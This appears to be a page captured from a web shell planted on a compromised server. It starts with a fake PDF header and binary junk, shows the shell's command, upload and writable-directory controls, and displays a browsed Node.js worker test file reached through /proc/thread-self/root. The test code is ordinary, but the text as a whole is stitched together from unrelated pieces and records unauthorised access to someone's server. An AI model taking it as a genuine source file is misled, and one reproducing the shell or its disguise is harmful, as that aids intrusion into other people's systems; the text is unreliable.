%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/thread-self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/thread-self/root/home/ubuntu/node-v16.18.1/test/parallel/test-worker-track-unmanaged-fds.js
'use strict';
const common = require('../common');
const assert = require('assert');
const { Worker, isMainThread } = require('worker_threads');
const { once } = require('events');
const fs = require('fs');

if (!isMainThread)
  common.skip('test needs to be able to freely set `trackUnmanagedFds`');

// All the tests here are run sequentially, to avoid accidentally opening an fd
// which another part of the test expects to be closed.

const preamble = `
const fs = require("fs");
const { parentPort } = require('worker_threads');
const __filename = ${JSON.stringify(__filename)};
process.on('warning', (warning) => parentPort.postMessage({ warning }));
`;

(async () => {
  // Consistency check: Without trackUnmanagedFds, FDs are *not* closed.
  {
    const w = new Worker(`${preamble}
    parentPort.postMessage(fs.openSync(__filename));
    `, { eval: true, trackUnmanagedFds: false });
    const [ [ fd ] ] = await Promise.all([once(w, 'message'), once(w, 'exit')]);
    assert(fd > 2);
    fs.fstatSync(fd); // Does not throw.
    fs.closeSync(fd);
  }

  // With trackUnmanagedFds, FDs are closed automatically.
  {
    const w = new Worker(`${preamble}
    parentPort.postMessage(fs.openSync(__filename));
    `, { eval: true, trackUnmanagedFds: true });
    const [ [ fd ] ] = await Promise.all([once(w, 'message'), once(w, 'exit')]);
    assert(fd > 2);
    assert.throws(() => fs.fstatSync(fd), { code: 'EBADF' });
  }

  // The same, but trackUnmanagedFds is used only as the implied default.
  {
    const w = new Worker(`${preamble}
    parentPort.postMessage(fs.openSync(__filename));
    `, { eval: true });
    const [ [ fd ] ] = await Promise.all([once(w, 'message'), once(w, 'exit')]);
    assert(fd > 2);
    assert.throws(() => fs.fstatSync(fd), { code: 'EBADF' });
  }

  // There is a warning when an fd is unexpectedly opened twice.
  {
    const w = new Worker(`${preamble}
    parentPort.postMessage(fs.openSync(__filename));
    parentPort.once('message', () => {
      const reopened = fs.openSync(__filename);
      fs.closeSync(reopened);
    });
    `, { eval: true, trackUnmanagedFds: true });
    const [ fd ] = await once(w, 'message');
    fs.closeSync(fd);
    w.postMessage('');
    const [ { warning } ] = await once(w, 'message');
    assert.match(warning.message,
                 /File descriptor \d+ opened in unmanaged mode twice/);
  }

  // There is a warning when an fd is unexpectedly closed.
  {
    const w = new Worker(`${preamble}
    parentPort.once('message', (fd) => {
      fs.closeSync(fd);
    });
    `, { eval: true, trackUnmanagedFds: true });
    w.postMessage(fs.openSync(__filename));
    const [ { warning } ] = await once(w, 'message');
    assert.match(warning.message,
                 /File descriptor \d+ closed but not opened in unmanaged mode/);
  }
})().then(common.mustCall());

Kontol Shell Bypass